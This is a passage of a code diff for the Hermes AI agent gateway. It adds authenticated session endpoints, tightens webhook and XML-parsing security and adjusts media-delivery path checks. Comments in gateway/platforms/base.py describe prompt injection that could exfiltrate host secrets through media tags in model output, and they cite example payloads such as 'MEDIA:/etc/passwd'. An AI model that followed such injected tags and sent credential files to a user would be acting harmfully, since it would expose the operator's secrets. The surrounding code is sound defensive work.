+            from toolsets import resolve_toolset
+
+            config = load_config()
+            enabled_toolsets = _get_platform_tools(
+                config,
+                "api_server",
+                include_default_mcp_servers=False,
+            )
+            data: List[Dict[str, Any]] = []
+            for name, label, desc in _get_effective_configurable_toolsets():
+                try:
+                    tools = sorted(set(resolve_toolset(name)))
+                except Exception:
+                    tools = []
+                is_enabled = name in enabled_toolsets
+                data.append({
+                    "name": name,
+                    "label": label,
+                    "description": desc,
+                    "enabled": is_enabled,
+                    "configured": _toolset_has_keys(name, config),
+                    "tools": tools,
+                })
+        except Exception:
+            logger.exception("GET /v1/toolsets failed")
+            return web.json_response(
+                _openai_error("Failed to enumerate toolsets", err_type="server_error"),
+                status=500,
+            )
+
+        return web.json_response({
+            "object": "list",
+            "platform": "api_server",
+            "data": data,
+        })
+
+    # ------------------------------------------------------------------
+    # /api/sessions — thin client/session resource API
+    # ------------------------------------------------------------------
+
+    @staticmethod
+    def _parse_nonnegative_int(value: Any, default: int, maximum: int) -> int:
+        try:
+            parsed = int(value)
+        except (TypeError, ValueError):
+            return default
+        if parsed < 0:
+            return default
+        return min(parsed, maximum)
+
+    @staticmethod
+    def _session_response(session: Dict[str, Any]) -> Dict[str, Any]:
+        """Return a stable, client-safe session representation."""
+        safe_keys = (
+            "id", "source", "user_id", "model", "title", "started_at", "ended_at",
+            "end_reason", "message_count", "tool_call_count", "input_tokens",
+            "output_tokens", "cache_read_tokens", "cache_write_tokens",
+            "reasoning_tokens", "estimated_cost_usd", "actual_cost_usd",
+            "api_call_count", "parent_session_id", "last_active", "preview",
+            "_lineage_root_id",
+        )
+        payload = {key: session.get(key) for key in safe_keys if key in session}
+        # Avoid exposing full system prompts/model_config through the client API;
+        # callers only need to know whether those snapshots exist.
+        payload["has_system_prompt"] = bool(session.get("system_prompt"))
+        payload["has_model_config"] = bool(session.get("model_config"))
+        return payload
+
+    @staticmethod
+    def _message_response(message: Dict[str, Any]) -> Dict[str, Any]:
+        safe_keys = (
+            "id", "session_id", "role", "content", "tool_call_id", "tool_calls",
+            "tool_name", "timestamp", "token_count", "finish_reason", "reasoning",
+            "reasoning_content",
+        )
+        return {key: message.get(key) for key in safe_keys if key in message}
+
+    async def _read_json_body(self, request: "web.Request") -> tuple[Dict[str, Any], Optional["web.Response"]]:
+        try:
+            body = await request.json()
+        except Exception:
+            return {}, web.json_response(_openai_error("Invalid JSON in request body"), status=400)
+        if not isinstance(body, dict):
+            return {}, web.json_response(_openai_error("Request body must be a JSON object"), status=400)
+        return body, None
+
+    def _get_existing_session_or_404(self, session_id: str) -> tuple[Optional[Dict[str, Any]], Optional["web.Response"]]:
+        db = self._ensure_session_db()
+        if db is None:
+            return None, web.json_response(_openai_error("Session database unavailable", code="session_db_unavailable"), status=503)
+        session = db.get_session(session_id)
+        if not session:
+            return None, web.json_response(_openai_error(f"Session not found: {session_id}", code="session_not_found"), status=404)
+        return session, None
+
+    def _conversation_history_for_session(self, session_id: str) -> List[Dict[str, Any]]:
+        db = self._ensure_session_db()
+        if db is None:
+            return []
+        try:
+            return db.get_messages_as_conversation(session_id)
+        except Exception as exc:
+            logger.warning("Failed to load session history for %s: %s", session_id, exc)
+            return []
+
+    async def _handle_list_sessions(self, request: "web.Request") -> "web.Response":
+        """GET /api/sessions — list persisted Hermes sessions."""
+        auth_err = self._check_auth(request)
+        if auth_err:
+            return auth_err
+
+        db = self._ensure_session_db()
+        if db is None:
+            return web.json_response(_openai_error("Session database unavailable", code="session_db_unavailable"), status=503)
+
+        limit = self._parse_nonnegative_int(request.query.get("limit"), default=50, maximum=200)
+        offset = self._parse_nonnegative_int(request.query.get("offset"), default=0, maximum=1_000_000)
+        source = request.query.get("source") or None
+        include_children = _coerce_request_bool(request.query.get("include_children"), default=False)
+        sessions = db.list_sessions_rich(
+            source=source,
+            limit=limit,
+            offset=offset,
+            include_children=include_children,
+            order_by_last_active=True,
+        )
+        return web.json_response({
+            "object": "list",
+            "data": [self._session_response(s) for s in sessions],
+            "limit": limit,
+            "offset": offset,
+            "has_more": len(sessions) == limit,
+        })
+
+    async def _handle_create_session(self, request: "web.Request") -> "web.Response":
+        """POST /api/sessions — create an empty Hermes session row."""
+        auth_err = self._check_auth(request)
+        if auth_err:
+            return auth_err
+        body, err = await self._read_json_body(request)
+        if err:
+            return err
+
+        db = self._ensure_session_db()
+        if db is None:
+            return web.json_response(_openai_error("Session database unavailable", code="session_db_unavailable"), status=503)
+
+        raw_id = body.get("id") or body.get("session_id")
+        session_id = str(raw_id).strip() if raw_id else f"api_{int(time.time())}_{uuid.uuid4().hex[:8]}"
+        if not session_id or re.search(r'[\r\n\x00]', session_id):
+            return web.json_response(_openai_error("Invalid session ID", code="invalid_session_id"), status=400)
+        if len(session_id) > self._MAX_SESSION_HEADER_LEN:
+            return web.json_response(_openai_error("Session ID too long", code="invalid_session_id"), status=400)
+        if db.get_session(session_id):
+            return web.json_response(_openai_error(f"Session already exists: {session_id}", code="session_exists"), status=409)
+
+        model = body.get("model") or self._model_name
+        system_prompt = body.get("system_prompt")
+        if system_prompt is not None and not isinstance(system_prompt, str):
+            return web.json_response(_openai_error("system_prompt must be a string", code="invalid_system_prompt"), status=400)
+        db.create_session(session_id, "api_server", model=str(model) if model else None, system_prompt=system_prompt)
+        title = body.get("title")
+        if title is not None:
+            try:
+                db.set_session_title(session_id, str(title))
+            except ValueError as exc:
+                db.delete_session(session_id)
+                return web.json_response(_openai_error(str(exc), code="invalid_title"), status=400)
+        session = db.get_session(session_id) or {"id": session_id, "source": "api_server", "model": model, "title": title}
+        return web.json_response({"object": "hermes.session", "session": self._session_response(session)}, status=201)
+
+    async def _handle_get_session(self, request: "web.Request") -> "web.Response":
+        """GET /api/sessions/{session_id}."""
+        auth_err = self._check_auth(request)
+        if auth_err:
+            return auth_err
+        session, err = self._get_existing_session_or_404(request.match_info["session_id"])
+        if err:
+            return err
+        return web.json_response({"object": "hermes.session", "session": self._session_response(session)})
+
+    async def _handle_patch_session(self, request: "web.Request") -> "web.Response":
+        """PATCH /api/sessions/{session_id} — update client-safe session metadata."""
+        auth_err = self._check_auth(request)
+        if auth_err:
+            return auth_err
+        session_id = request.match_info["session_id"]
+        session, err = self._get_existing_session_or_404(session_id)
+        if err:
+            return err
+        body, err = await self._read_json_body(request)
+        if err:
+            return err
+        allowed = {"title", "end_reason"}
+        unknown = sorted(set(body) - allowed)
+        if unknown:
+            return web.json_response(_openai_error(f"Unsupported session fields: {', '.join(unknown)}", code="unsupported_session_field"), status=400)
+
+        db = self._ensure_session_db()
+        if "title" in body:
+            try:
+                db.set_session_title(session_id, "" if body["title"] is None else str(body["title"]))
+            except ValueError as exc:
+                return web.json_response(_openai_error(str(exc), code="invalid_title"), status=400)
+        if body.get("end_reason"):
+            db.end_session(session_id, str(body["end_reason"]))
+        session = db.get_session(session_id) or session
+        return web.json_response({"object": "hermes.session", "session": self._session_response(session)})
+
+    async def _handle_delete_session(self, request: "web.Request") -> "web.Response":
+        """DELETE /api/sessions/{session_id}."""
+        auth_err = self._check_auth(request)
+        if auth_err:
+            return auth_err
+        session_id = request.match_info["session_id"]
+        session, err = self._get_existing_session_or_404(session_id)
+        if err:
+            return err
+        db = self._ensure_session_db()
+        deleted = db.delete_session(session_id)
+        return web.json_response({"object": "hermes.session.deleted", "id": session_id, "deleted": bool(deleted)})
+
+    async def _handle_session_messages(self, request: "web.Request") -> "web.Response":
+        """GET /api/sessions/{session_id}/messages."""
+        auth_err = self._check_auth(request)
+        if auth_err:
+            return auth_err
+        session_id = request.match_info["session_id"]
+        _, err = self._get_existing_session_or_404(session_id)
+        if err:
+            return err
+        db = self._ensure_session_db()
+        messages = db.get_messages(session_id)
+        return web.json_response({
+            "object": "list",
+            "session_id": session_id,
+            "data": [self._message_response(m) for m in messages],
+        })
+
+    async def _handle_fork_session(self, request: "web.Request") -> "web.Response":
+        """POST /api/sessions/{session_id}/fork — branch via current SessionDB primitives."""
+        auth_err = self._check_auth(request)
+        if auth_err:
+            return auth_err
+        source_id = request.match_info["session_id"]
+        source, err = self._get_existing_session_or_404(source_id)
+        if err:
+            return err
+        body, err = await self._read_json_body(request)
+        if err:
+            return err
+        db = self._ensure_session_db()
+        fork_id = str(body.get("id") or body.get("session_id") or f"api_{int(time.time())}_{uuid.uuid4().hex[:8]}").strip()
+        if not fork_id or re.search(r'[\r\n\x00]', fork_id):
+            return web.json_response(_openai_error("Invalid session ID", code="invalid_session_id"), status=400)
+        if db.get_session(fork_id):
+            return web.json_response(_openai_error(f"Session already exists: {fork_id}", code="session_exists"), status=409)
+
+        # Match the CLI /branch semantics: mark the original as branched, then
+        # create a child session that carries the transcript forward. This uses
+        # SessionDB's native parent_session_id/end_reason visibility model rather
+        # than inventing a parallel fork store.
+        db.end_session(source_id, "branched")
+        db.create_session(
+            fork_id,
+            "api_server",
+            model=source.get("model"),
+            system_prompt=source.get("system_prompt"),
+            parent_session_id=source_id,
+        )
+        messages = db.get_messages(source_id)
+        db.replace_messages(fork_id, messages)
+        title = body.get("title")
+        if title is None:
+            base = source.get("title") or "fork"
+            try:
+                title = db.get_next_title_in_lineage(base)
+            except Exception:
+                title = f"{base} fork"
+        try:
+            db.set_session_title(fork_id, str(title))
+        except ValueError as exc:
+            return web.json_response(_openai_error(str(exc), code="invalid_title"), status=400)
+        fork = db.get_session(fork_id) or {"id": fork_id, "parent_session_id": source_id}
+        return web.json_response({"object": "hermes.session", "session": self._session_response(fork)}, status=201)
+
+    async def _handle_session_chat(self, request: "web.Request") -> "web.Response":
+        """POST /api/sessions/{session_id}/chat — one synchronous agent turn."""
+        auth_err = self._check_auth(request)
+        if auth_err:
+            return auth_err
+        gateway_session_key, key_err = self._parse_session_key_header(request)
+        if key_err is not None:
+            return key_err
+        session_id = request.match_info["session_id"]
+        _, err = self._get_existing_session_or_404(session_id)
+        if err:
+            return err
+        body, err = await self._read_json_body(request)
+        if err:
+            return err
+        user_message, err = _session_chat_user_message(body)
+        if err is not None:
+            return err
+        system_prompt = body.get("system_message") or body.get("instructions")
+        if system_prompt is not None and not isinstance(system_prompt, str):
+            return web.json_response(_openai_error("system_message must be a string", code="invalid_system_message"), status=400)
+        history = self._conversation_history_for_session(session_id)
+        result, usage = await self._run_agent(
+            user_message=user_message,
+            conversation_history=history,
+            ephemeral_system_prompt=system_prompt,
+            session_id=session_id,
+            gateway_session_key=gateway_session_key,
+        )
+        effective_session_id = result.get("session_id") if isinstance(result, dict) else session_id
+        final_response = result.get("final_response", "") if isinstance(result, dict) else ""
+        headers = {"X-Hermes-Session-Id": effective_session_id or session_id}
+        if gateway_session_key:
+            headers["X-Hermes-Session-Key"] = gateway_session_key
+        return web.json_response(
+            {
+                "object": "hermes.session.chat.completion",
+                "session_id": effective_session_id or session_id,
+                "message": {"role": "assistant", "content": final_response},
+                "usage": usage,
+            },
+            headers=headers,
+        )
+
+    async def _handle_session_chat_stream(self, request: "web.Request") -> "web.StreamResponse":
+        """POST /api/sessions/{session_id}/chat/stream — SSE wrapper over _run_agent."""
+        auth_err = self._check_auth(request)
+        if auth_err:
+            return auth_err
+        gateway_session_key, key_err = self._parse_session_key_header(request)
+        if key_err is not None:
+            return key_err
+        session_id = request.match_info["session_id"]
+        _, err = self._get_existing_session_or_404(session_id)
+        if err:
+            return err
+        body, err = await self._read_json_body(request)
+        if err:
+            return err
+        user_message, err = _session_chat_user_message(body)
+        if err is not None:
+            return err
+        system_prompt = body.get("system_message") or body.get("instructions")
+        if system_prompt is not None and not isinstance(system_prompt, str):
+            return web.json_response(_openai_error("system_message must be a string", code="invalid_system_message"), status=400)
+
+        loop = asyncio.get_running_loop()
+        queue: "asyncio.Queue[Optional[tuple[str, Dict[str, Any]]]]" = asyncio.Queue()
+        message_id = f"msg_{uuid.uuid4().hex}"
+        run_id = f"run_{uuid.uuid4().hex}"
+        seq = 0
+
+        def _event_payload(name: str, payload: Dict[str, Any]) -> tuple[str, Dict[str, Any]]:
+            nonlocal seq
+            seq += 1
+            payload.setdefault("session_id", session_id)
+            payload.setdefault("run_id", run_id)
+            payload.setdefault("seq", seq)
+            payload.setdefault("ts", time.time())
+            return name, payload
+
+        def _enqueue(name: str, payload: Dict[str, Any]) -> None:
+            event = _event_payload(name, payload)
+            try:
+                running_loop = asyncio.get_running_loop()
+            except RuntimeError:
+                running_loop = None
+            try:
+                if running_loop is loop:
+                    queue.put_nowait(event)
+                else:
+                    loop.call_soon_threadsafe(queue.put_nowait, event)
+            except RuntimeError:
+                pass
+
+        def _delta(delta: str) -> None:
+            if delta:
+                _enqueue("assistant.delta", {"message_id": message_id, "delta": delta})
+
+        def _tool_progress(event_type: str, tool_name: str = None, preview: str = None, args=None, **kwargs) -> None:
+            if event_type == "reasoning.available":
+                _enqueue("tool.progress", {"message_id": message_id, "tool_name": tool_name or "_thinking", "delta": preview or ""})
+            elif event_type in {"tool.started", "tool.completed", "tool.failed"}:
+                event_name = event_type.replace("tool.", "tool.")
+                _enqueue(event_name, {"message_id": message_id, "tool_name": tool_name, "preview": preview, "args": args})
+
+        async def _run_and_signal() -> None:
+            try:
+                await queue.put(_event_payload("run.started", {"user_message": {"role": "user", "content": user_message}}))
+                await queue.put(_event_payload("message.started", {"message": {"id": message_id, "role": "assistant"}}))
+                history = self._conversation_history_for_session(session_id)
+                result, usage = await self._run_agent(
+                    user_message=user_message,
+                    conversation_history=history,
+                    ephemeral_system_prompt=system_prompt,
+                    session_id=session_id,
+                    stream_delta_callback=_delta,
+                    tool_progress_callback=_tool_progress,
+                    gateway_session_key=gateway_session_key,
+                )
+                final_response = result.get("final_response", "") if isinstance(result, dict) else ""
+                effective_session_id = result.get("session_id", session_id) if isinstance(result, dict) else session_id
+                await queue.put(_event_payload("assistant.completed", {
+                    "session_id": effective_session_id,
+                    "message_id": message_id,
+                    "content": final_response,
+                    "completed": True,
+                    "partial": False,
+                    "interrupted": False,
+                }))
+                await queue.put(_event_payload("run.completed", {
+                    "session_id": effective_session_id,
+                    "message_id": message_id,
+                    "completed": True,
+                    "usage": usage,
+                }))
+            except Exception as exc:
+                logger.exception("[api_server] session chat stream failed")
+                await queue.put(_event_payload("error", {"message": str(exc)}))
+            finally:
+                await queue.put(_event_payload("done", {}))
+                await queue.put(None)
+
+        task = asyncio.create_task(_run_and_signal())
+        try:
+            self._background_tasks.add(task)
+        except TypeError:
+            pass
+        if hasattr(task, "add_done_callback"):
+            task.add_done_callback(self._background_tasks.discard)
+
+        headers = {
+            "Content-Type": "text/event-stream",
+            "Cache-Control": "no-cache",
+            "X-Accel-Buffering": "no",
+            "X-Hermes-Session-Id": session_id,
+        }
+        if gateway_session_key:
+            headers["X-Hermes-Session-Key"] = gateway_session_key
+        response = web.StreamResponse(status=200, headers=headers)
+        await response.prepare(request)
+        last_write = time.monotonic()
+        try:
+            while True:
+                try:
+                    item = await asyncio.wait_for(queue.get(), timeout=CHAT_COMPLETIONS_SSE_KEEPALIVE_SECONDS)
+                except asyncio.TimeoutError:
+                    await response.write(b": keepalive\n\n")
+                    last_write = time.monotonic()
+                    continue
+                if item is None:
+                    break
+                name, payload = item
+                data = json.dumps(payload, ensure_ascii=False)
+                await response.write(f"event: {name}\ndata: {data}\n\n".encode("utf-8"))
+                last_write = time.monotonic()
+        except (asyncio.CancelledError, ConnectionResetError):
+            task.cancel()
+            raise
+        except Exception as exc:
+            logger.debug("[api_server] session SSE stream error: %s", exc)
+        return response
+
     async def _handle_chat_completions(self, request: "web.Request") -> "web.Response":
         """POST /v1/chat/completions — OpenAI Chat Completions format."""
         auth_err = self._check_auth(request)
@@ -3486,12 +4048,24 @@ class APIServerAdapter(BasePlatformAdapter):
         try:
             mws = [mw for mw in (cors_middleware, body_limit_middleware, security_headers_middleware) if mw is not None]
             self._app = web.Application(middlewares=mws, client_max_size=MAX_REQUEST_BYTES)
-            self._app["api_server_adapter"] = self
+            assert self._app is not None
             self._app.router.add_get("/health", self._handle_health)
             self._app.router.add_get("/health/detailed", self._handle_health_detailed)
             self._app.router.add_get("/v1/health", self._handle_health)
             self._app.router.add_get("/v1/models", self._handle_models)
             self._app.router.add_get("/v1/capabilities", self._handle_capabilities)
+            self._app.router.add_get("/v1/skills", self._handle_skills)
+            self._app.router.add_get("/v1/toolsets", self._handle_toolsets)
+            # Session/client control surface (thin wrappers over SessionDB + _run_agent)
+            self._app.router.add_get("/api/sessions", self._handle_list_sessions)
+            self._app.router.add_post("/api/sessions", self._handle_create_session)
+            self._app.router.add_get("/api/sessions/{session_id}", self._handle_get_session)
+            self._app.router.add_patch("/api/sessions/{session_id}", self._handle_patch_session)
+            self._app.router.add_delete("/api/sessions/{session_id}", self._handle_delete_session)
+            self._app.router.add_get("/api/sessions/{session_id}/messages", self._handle_session_messages)
+            self._app.router.add_post("/api/sessions/{session_id}/fork", self._handle_fork_session)
+            self._app.router.add_post("/api/sessions/{session_id}/chat", self._handle_session_chat)
+            self._app.router.add_post("/api/sessions/{session_id}/chat/stream", self._handle_session_chat_stream)
             self._app.router.add_post("/v1/chat/completions", self._handle_chat_completions)
             self._app.router.add_post("/v1/responses", self._handle_responses)
             self._app.router.add_get("/v1/responses/{response_id}", self._handle_get_response)
@@ -3511,6 +4085,12 @@ class APIServerAdapter(BasePlatformAdapter):
             self._app.router.add_get("/v1/runs/{run_id}/events", self._handle_run_events)
             self._app.router.add_post("/v1/runs/{run_id}/approval", self._handle_run_approval)
             self._app.router.add_post("/v1/runs/{run_id}/stop", self._handle_stop_run)
+            # Store the adapter after native routes are registered. Local Hermes-Relay
+            # bootstrap shims use this key as a feature-detection hook; registering
+            # native routes first lets those shims no-op instead of shadowing the
+            # upstream session-control handlers.
+            self._app["api_server_adapter"] = self
+
             # Start background sweep to clean up orphaned (unconsumed) run streams
             sweep_task = asyncio.create_task(self._sweep_orphaned_runs())
             try:
@@ -3520,11 +4100,13 @@ class APIServerAdapter(BasePlatformAdapter):
             if hasattr(sweep_task, "add_done_callback"):
                 sweep_task.add_done_callback(self._background_tasks.discard)
 
-            # Refuse to start network-accessible without authentication
-            if is_network_accessible(self._host) and not self._api_key:
+            # Refuse to start without authentication. The API server can
+            # dispatch terminal-capable agent work, so every deployment needs
+            # an explicit API_SERVER_KEY regardless of bind address.
+            if not self._api_key:
                 logger.error(
-                    "[%s] Refusing to start: binding to %s requires API_SERVER_KEY. "
-                    "Set API_SERVER_KEY or use the default 127.0.0.1.",
+                    "[%s] Refusing to start: API_SERVER_KEY is required for the API server, "
+                    "including loopback-only binds on %s.",
                     self.name, self._host,
                 )
                 return False
@@ -3562,14 +4144,6 @@ class APIServerAdapter(BasePlatformAdapter):
             await self._site.start()
 
             self._mark_connected()
-            if not self._api_key:
-                logger.warning(
-                    "[%s] ⚠️  No API key configured (API_SERVER_KEY / platforms.api_server.key). "
-                    "All requests will be accepted without authentication. "
-                    "Set an API key for production deployments to prevent "
-                    "unauthorized access to sessions, responses, and cron jobs.",
-                    self.name,
-                )
             logger.info(
                 "[%s] API server listening on http://%s:%d (model: %s)",
                 self.name, self._host, self._port, self._model_name,

gateway/platforms/base.py

@@ -829,6 +829,13 @@ _HERMES_HOME = get_hermes_home()
 MEDIA_DELIVERY_ALLOW_DIRS_ENV = "HERMES_MEDIA_ALLOW_DIRS"
 MEDIA_DELIVERY_TRUST_RECENT_ENV = "HERMES_MEDIA_TRUST_RECENT_FILES"
 MEDIA_DELIVERY_TRUST_RECENT_SECONDS_ENV = "HERMES_MEDIA_TRUST_RECENT_SECONDS"
+# Strict mode toggles the original allowlist+recency path-validation behavior.
+# Off by default — symmetric with inbound (we accept any document type the
+# user uploads), and with the denylist still blocking obvious credential /
+# system paths. Operators running public-facing gateways where prompt
+# injection from one user could exfiltrate the host's secrets to that same
+# user should set this to true.
+MEDIA_DELIVERY_STRICT_ENV = "HERMES_MEDIA_DELIVERY_STRICT"
 MEDIA_DELIVERY_SAFE_ROOTS = (
     IMAGE_CACHE_DIR,
     AUDIO_CACHE_DIR,
@@ -918,6 +925,21 @@ def _media_delivery_recency_seconds() -> float:
     return float(_MEDIA_DELIVERY_TRUST_RECENT_DEFAULT_SECONDS)
 
 
+def _media_delivery_strict_mode() -> bool:
+    """Return True when path validation should require allowlist/recency match.
+
+    Off by default. In non-strict mode, ``validate_media_delivery_path``
+    accepts any existing regular file that isn't under the credential /
+    system-path denylist — restoring the pre-#29523 behavior for the
+    single-user case. Strict mode preserves the original
+    allowlist+recency-window logic for operators running public-facing
+    gateways where prompt injection from one user shouldn't be able to
+    exfiltrate the host's secrets to that same user.
+    """
+    raw = os.environ.get(MEDIA_DELIVERY_STRICT_ENV, "0").strip().lower()
+    return raw in ("1", "true", "yes", "on")
+
+
 def _media_delivery_denied_paths() -> List[Path]:
     """Return absolute denylist paths under which delivery is never allowed."""
     denied = [Path(p) for p in _MEDIA_DELIVERY_DENIED_PREFIXES]
@@ -972,10 +994,22 @@ def _path_is_within(path: Path, root: Path) -> bool:
 def validate_media_delivery_path(path: str) -> Optional[str]:
     """Return a safe absolute file path for native media delivery, else None.
 
-    MEDIA tags and bare local paths in model output are untrusted text. Only
-    existing regular files under Hermes-managed media caches, or roots the
-    operator explicitly allowlists, may be uploaded as native attachments.
-    Symlinks are resolved before the containment check.
+    Default mode (single-user / private gateway): accept any existing regular
+    file that isn't under the credential / system-path denylist
+    (``_MEDIA_DELIVERY_DENIED_PREFIXES`` + ``~/.ssh``, ``~/.aws``, etc.).
+    This matches the symmetry of inbound delivery — Telegram/Discord/Slack
+    will hand the agent any file the user uploads, and the agent can hand
+    back any file that isn't a credential.
+
+    Strict mode (opt-in via ``gateway.strict`` in ``config.yaml`` or
+    ``HERMES_MEDIA_DELIVERY_STRICT=1``): the file MUST live under a
+    Hermes-managed cache, under an operator-allowlisted root
+    (``HERMES_MEDIA_ALLOW_DIRS``), or be freshly produced inside the
+    configured recency window. Suitable for public-facing bots where
+    prompt injection from one user shouldn't be able to exfiltrate the
+    host's secrets to that same user.
+
+    Symlinks are resolved before any containment / denylist check.
     """
     if not path:
         return None
@@ -999,6 +1033,8 @@ def validate_media_delivery_path(path: str) -> Optional[str]:
     if not resolved.is_file():
         return None
 
+    # Cache / operator allowlist is always honored — these are unconditionally
+    # trusted regardless of mode.
     for root in _media_delivery_allowed_roots():
         try:
             resolved_root = root.expanduser().resolve(strict=False)
@@ -1007,9 +1043,18 @@ def validate_media_delivery_path(path: str) -> Optional[str]:
         if _path_is_within(resolved, resolved_root):
             return str(resolved)
 
-    # Outside the cache/operator allowlist: fall back to recency-based trust
-    # for files the agent has just produced (e.g. ``pandoc -o /tmp/report.pdf``
-    # or ``write_file("/home/user/report.pdf", ...)``). System paths and
+    # Non-strict mode (default): accept anything not on the denylist.
+    # The denylist still blocks /etc, /proc, ~/.ssh, ~/.aws, ~/.hermes/.env,
+    # ~/.hermes/auth.json, etc. — so the obvious prompt-injection sites
+    # (``MEDIA:/etc/passwd``, ``MEDIA:~/.ssh/id_rsa``) remain rejected.
+    if not _media_delivery_strict_mode():
+        if _path_under_denied_prefix(resolved):
+            return None
+        return str(resolved)
+
+    # Strict mode: fall back to recency-based trust for freshly-produced
+    # files (e.g. ``pandoc -o /tmp/report.pdf`` or
+    # ``write_file("/home/user/report.pdf", ...)``). System paths and
     # credential locations remain blocked even when "recent" — see
     # ``_MEDIA_DELIVERY_DENIED_PREFIXES`` for the denylist.
     window = _media_delivery_recency_seconds()

gateway/platforms/msgraph_webhook.py

@@ -25,6 +25,7 @@ from gateway.platforms.base import (
     MessageEvent,
     MessageType,
     SendResult,
+    is_network_accessible,
 )
 
 logger = logging.getLogger(__name__)
@@ -132,12 +133,24 @@ class MSGraphWebhookAdapter(BasePlatformAdapter):
     def set_notification_scheduler(self, scheduler: Optional[NotificationScheduler]) -> None:
         self._notification_scheduler = scheduler
 
+    def _source_allowlist_required_but_missing(self) -> bool:
+        return is_network_accessible(self._host) and not self._allowed_source_networks
+
     async def connect(self) -> bool:
         if self._client_state is None:
             logger.error(
                 "[msgraph_webhook] Refusing to start without extra.client_state configured"
             )
             return False
+        if self._source_allowlist_required_but_missing():
+            logger.error(
+                "[msgraph_webhook] Refusing to start: binding to %s requires "
+                "extra.allowed_source_cidrs. Configure the Microsoft Graph "
+                "source CIDRs or bind to loopback (127.0.0.1/::1) behind a "
+                "tunnel or reverse proxy.",
+                self._host,
+            )
+            return False
 
         app = web.Application()
         app.router.add_get(self._health_path, self._handle_health)
@@ -177,6 +190,8 @@ class MSGraphWebhookAdapter(BasePlatformAdapter):
         return {"name": chat_id, "type": "webhook"}
 
     async def _handle_health(self, request: "web.Request") -> "web.Response":
+        if not self._source_ip_allowed(request):
+            return web.Response(status=403)
         return web.json_response(
             {
                 "status": "ok",
@@ -271,9 +286,12 @@ class MSGraphWebhookAdapter(BasePlatformAdapter):
     def _source_ip_allowed(self, request: "web.Request") -> bool:
         """Return True if the request's source IP is in the configured allowlist.
 
-        When ``allowed_source_cidrs`` is empty (the default), everything is
-        allowed — preserves behavior for dev tunnels / localhost setups.
+        Loopback-only binds may omit ``allowed_source_cidrs`` for local reverse
+        proxies and dev tunnels. Network-accessible binds fail closed until an
+        explicit CIDR allowlist is configured.
         """
+        if self._source_allowlist_required_but_missing():
+            return False
         if not self._allowed_source_networks:
             return True
         peer = request.remote or ""

gateway/platforms/telegram.py

@@ -240,7 +240,7 @@ def _render_table_block_for_telegram(table_block: list[str]) -> str:
     first_data_row = _split_markdown_table_row(table_block[2]) if len(table_block) > 2 else []
     has_row_label_col = len(first_data_row) == len(headers) + 1
 
-    rendered_rows: list[str] = []
+    rendered_groups: list[str] = []
     for index, row in enumerate(table_block[2:], start=1):
         cells = _split_markdown_table_row(row)
         if has_row_label_col:
@@ -258,12 +258,24 @@ def _render_table_block_for_telegram(table_block: list[str]) -> str:
         elif len(data_cells) > len(headers):
             data_cells = data_cells[: len(headers)]
 
-        rendered_rows.append(f"**{heading}**")
-        rendered_rows.extend(
-            f"• {header}: {value}" for header, value in zip(headers, data_cells)
-        )
+        # Build the bulleted lines for this row.  Skip any bullet whose value
+        # duplicates the heading text -- when has_row_label_col is False the
+        # heading IS the first data cell, and emitting it twice (once as the
+        # bold heading, once as the first bullet) is visual noise.
+        bullets: list[str] = []
+        for header, value in zip(headers, data_cells):
+            if not has_row_label_col and value == heading:
+                continue
+            bullets.append(f"• {header}: {value}")
 
-    return "\n\n".join(rendered_rows)
+        # Within a row-group: single newline between heading and its bullets,
+        # and between successive bullets.  This keeps the row visually tight
+        # on Telegram instead of stretching each bullet into its own paragraph.
+        group_lines = [f"**{heading}**", *bullets]
+        rendered_groups.append("\n".join(group_lines))
+
+    # Between row-groups: blank line so each group reads as a distinct block.
+    return "\n\n".join(rendered_groups)
 
 
 def _wrap_markdown_tables(text: str) -> str:

gateway/platforms/wecom_callback.py

@@ -17,7 +17,17 @@ import logging
 import socket as _socket
 import time
 from typing import Any, Dict, List, Optional
-from xml.etree import ElementTree as ET
+# Security: parse untrusted, pre-auth request bodies (WeCom callbacks) with
+# defusedxml to block billion-laughs / entity-expansion (and XXE) DoS. The
+# parsing API (fromstring) is a drop-in for the stdlib calls used below;
+# response-building XML lives in wecom_crypto.py and is not parsed here.
+try:
+    import defusedxml.ElementTree as ET
+
+    DEFUSEDXML_AVAILABLE = True
+except ImportError:
+    ET = None  # type: ignore[assignment]
+    DEFUSEDXML_AVAILABLE = False
 
 try:
     from aiohttp import web
@@ -49,7 +59,7 @@ MESSAGE_DEDUP_TTL_SECONDS = 300
 
 
 def check_wecom_callback_requirements() -> bool:
-    return AIOHTTP_AVAILABLE and HTTPX_AVAILABLE
+    return AIOHTTP_AVAILABLE and HTTPX_AVAILABLE and DEFUSEDXML_AVAILABLE
 
 
 class WecomCallbackAdapter(BasePlatformAdapter):

gateway/run.py

@@ -75,6 +75,7 @@ _TELEGRAM_NOISY_STATUS_RE = re.compile(
     r"|configured\s+compression\s+model\s+.+\s+failed"
     r"|no\s+auxiliary\s+llm\s+provider\s+configured"
     r"|auto-lowered\s+compression\s+threshold"
+    r"|compacting\s+context\s+[—-]\s+summarizing\s+earlier\s+conversation"
     r"|preflight\s+compression"
     r"|rate\s+limited\.\s+waiting\s+\d"
     r"|retrying\s+in\s+\d"
@@ -818,7 +819,6 @@ if _config_path.exists():
                 "singularity_image": "TERMINAL_SINGULARITY_IMAGE",
                 "modal_image": "TERMINAL_MODAL_IMAGE",
                 "daytona_image": "TERMINAL_DAYTONA_IMAGE",
-                "vercel_runtime": "TERMINAL_VERCEL_RUNTIME",
                 "ssh_host": "TERMINAL_SSH_HOST",
                 "ssh_user": "TERMINAL_SSH_USER",
                 "ssh_port": "TERMINAL_SSH_PORT",
@@ -831,6 +831,8 @@ if _config_path.exists():
                 "docker_env": "TERMINAL_DOCKER_ENV",
                 "docker_mount_cwd_to_workspace": "TERMINAL_DOCKER_MOUNT_CWD_TO_WORKSPACE",
                 "docker_run_as_host_user": "TERMINAL_DOCKER_RUN_AS_HOST_USER",
+                "docker_persist_across_processes": "TERMINAL_DOCKER_PERSIST_ACROSS_PROCESSES",
+                "docker_orphan_reaper": "TERMINAL_DOCKER_ORPHAN_REAPER",
                 "sandbox_dir": "TERMINAL_SANDBOX_DIR",
                 "persistent_shell": "TERMINAL_PERSISTENT_SHELL",
             }
@@ -932,9 +934,14 @@ if _config_path.exists():
             _redact = _security_cfg.get("redact_secrets")
             if _redact is not None:
                 os.environ["HERMES_REDACT_SECRETS"] = str(_redact).lower()
-        # Gateway settings (media delivery allowlist + recency trust)
+        # Gateway settings (media delivery allowlist + recency trust + strict mode)
         _gateway_cfg = _cfg.get("gateway", {})
         if isinstance(_gateway_cfg, dict):
+            _strict = _gateway_cfg.get("strict")
+            if _strict is not None:
